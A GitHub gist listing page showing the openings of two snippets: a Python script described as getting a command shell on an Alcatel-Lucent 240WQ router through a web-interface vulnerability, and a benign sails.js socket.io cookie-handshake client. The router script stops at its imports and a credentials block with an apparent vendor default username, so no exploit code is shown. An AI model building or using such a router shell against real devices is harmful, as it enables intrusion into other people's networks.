Skip to content

Instantly share code, notes, and snippets.

@epadillas
epadillas / shell.py
Last active August 29, 2015 14:05
Alcatel-Lucent 240WQ router shell
#!/usr/bin/python
"""
Execute commands in the router by exploiting a vulnerability in its web interface.
Set your credentials in the `conf` variable.
"""
import requests
import sys
conf = {
'username': 'TELMEX',
@epadillas
epadillas / client.js
Created July 14, 2013 10:26
Send cookies for the socket.io handshake (sails.js)
// Send cookies for the socket.io handshake (sails.js)
// Based on https://gist.github.com/jfromaniello/4087861
// Socket.io open ticket (started by jfromaniello):
// https://github.com/LearnBoost/socket.io-client/pull/512
var io = require('socket.io-client');
var request = require('request');
var xhr = require('socket.io-client/node_modules/xmlhttprequest');
var xhrOriginal = require('xmlhttprequest');